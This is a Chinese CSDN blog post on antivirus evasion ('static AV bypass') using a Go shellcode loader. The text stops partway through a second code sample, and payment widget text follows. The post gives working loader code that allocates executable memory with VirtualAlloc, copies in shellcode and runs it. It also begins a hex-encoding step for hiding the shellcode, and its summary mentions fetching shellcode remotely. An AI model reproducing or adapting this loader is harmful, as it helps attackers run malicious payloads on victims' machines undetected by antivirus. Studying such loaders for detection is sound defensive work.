GO静态免杀初探

本文探讨了使用Go加载器实现静态免杀的技术,包括shellcode的加密解密和远程加载。通过将shellcode转化为16进制字符串并用Go和Python进行处理,以及利用Go的net/http包或resty库远程读取shellcode,以规避杀毒软件的检测。总结中提到可以优化加密方法,如使用Base64或凯撒密码,并考虑将shellcode分段加载。
摘要由CSDN通过智能技术生成

在这里插入图片描述

Go加载器

网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。

package main

import (
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {

    xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    syscall.Syscall(addr, 0, 0, 0, 0)

}

shellcode加密解密

简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。【网络安全学习攻略

package main

import (
    "bytes"
    "encoding/hex"
    "fmt"
)

func main() {
    //将[]byte -> string(16进制)
    shellcode := []byte{0xfc,0x48,0x83, ...}
    s := hex.EncodeToString(shel
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值